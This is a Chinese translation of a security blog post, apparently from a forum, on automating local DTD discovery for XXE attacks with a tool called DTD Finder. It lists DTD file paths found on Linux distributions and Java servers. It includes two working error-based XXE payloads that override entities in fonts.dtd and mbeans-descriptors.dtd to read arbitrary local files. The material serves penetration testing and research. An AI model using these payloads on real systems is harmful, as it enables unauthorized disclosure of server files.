自动化DTD挖掘工具编写思路(译)

https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html

这篇文章的作者团队,写了一个工具来挖掘一些可利用的DTD文件,https://github.com/GoSecure/dtd-finder,这篇文章主要是介绍其编写思路

近年来,出现了许多用XML payload进行攻击的方法

从上往下是2013年-2018年的技术迭代,从而我们可以发现一个趋势:使用DTD,而这些DTD文件部署在远程HTTP服务器上,不过基于网络的复杂性,这样的外带请求可能会失败,这时候我们可以参考上方最后一篇文献,进行一个本地化的DTD攻击。

DTD 列表

Arseniy Sharoglazov的文章中给出了一部分的payload,我们可以顺着他的思路,去挖掘一些新的。
由于当system实体为目录时将列出文件,因此我们可以写个脚本浏览远程文件系统,不过为了方便,在这里我们列出了常用linux发行版中存在的一小部分payload

./properties/schemas/j2ee/XMLSchema.dtd
./../properties/schemas/j2ee/XMLSchema.dtd
./../../properties/schemas/j2ee/XMLSchema.dtd
/usr/share/java/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/java/jsp-api-2.3.jar!/javax/servlet/jsp/resources/jspxml.dtd
/root/usr/share/doc/rh-python34-python-docutils-0.12/docs/ref/docutils.dtd
/root/usr/share/doc/rh-python35-python-docutils-0.12/docs/ref/docutils.dtd
/usr/share/doc/python2-docutils/docs/ref/docutils.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd
/usr/share/boostbook/dtd/1.1/boostbook.dtd
/usr/share/boostbook/dtd/boostbook.dtd
/usr/share/dblatex/schema/dblatex-config.dtd
/usr/share/struts/struts-config_1_0.dtd
/opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd

这些DTD文件来自Ubuntu、centos的仓库和google,当我们确认存在一个dtd文件,就可以来尝试攻击了,这里是一个攻击示例

自动化

当发现一个漏洞的时候,我们会想着,能不能自动化一下,这里我们需要自动化增加DTD列表,这就要求我们需要在不同系统里查找DTD文件,然后我们还需要自动化生成payload。

如何增加DTD列表

我们选择了几个常见的Linux发行版:Ubuntu、CentOS和Arch Linux,然后我们还发现DTD不仅存在于Linux发行版的官方软件包,也存在于各种语言自带的软件包,比如Ruby、Python、NPM这些语言的软件包中。

其次我们还选择了Docker容器来安装这些Java程序:tomcat、weblogic、jboss、JDK等。只有OpenJDK的容器里的DTD文件很少,而且都不能利用,而这些Web容器的DTD文件就相对多一些。

实体注入类型

获取了一定的DTD列表之后,我们可以列出了可利用的实体,对于其中的每一个,我们都需要查看用法并使用适当的payload。这里是两种注入类型

元素注入

fonts.dtd

<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
      |name|const
      |or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
      |plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)*>

XXE payload (实体中表达式被覆盖)

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
 
    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
 
    %local_dtd;
]>
<message></message>

ATTLIST 注入

mbeans-descriptors.dtd

<!ENTITY % Boolean "(true|false|yes|no)">
[...]
<!ATTLIST attribute is %Boolean; #IMPLIED>
<!ATTLIST attribute readable %Boolean; #IMPLIED>
<!ATTLIST attribute writeable %Boolean; #IMPLIED>

XXE payload (实体中布尔值被覆盖)

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd">
 
    <!ENTITY % Boolean '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ATTLIST attxx aa "bb"'>
 
    %local_dtd;
]>
 
<message></message>

我们可以发现,不同的情况下,我们需要使用不同的payload,从我们获取到的DTD样本中,我们归纳了5种类型,我们使用这五种基本类型来自动构造新的payload。

我们使用xml解析器来测试每个payload是否生效。

小结

总结一下,我们的工具DTD finder做了这些事

  1. 从 jar zip 文件及其他地方搜索DTD文件
  2. 列出其中声明的实体
  3. 测试每个实体能否注入
  4. 输出结果报告

Docker文件系统导出中DTD枚举的演示如下

总结

使用本地DTD文件来利用XXE将成为Web渗透测试人员的常见做法。高效查找常见的DTD文件应使任务更轻松。生成有效载荷后,即使XML知识有限,测试人员也可以访问攻击。

为了重现上面的演示,您可以在GoSecure的GitHub上使用DTD Finder工具。该工具可用于生成特定系统的列表。您无需运行该工具即可获取XXE有效负载。我们已经生成了具有超过50个DTD的有效XXE有效载荷的列表

参考文献

1 Like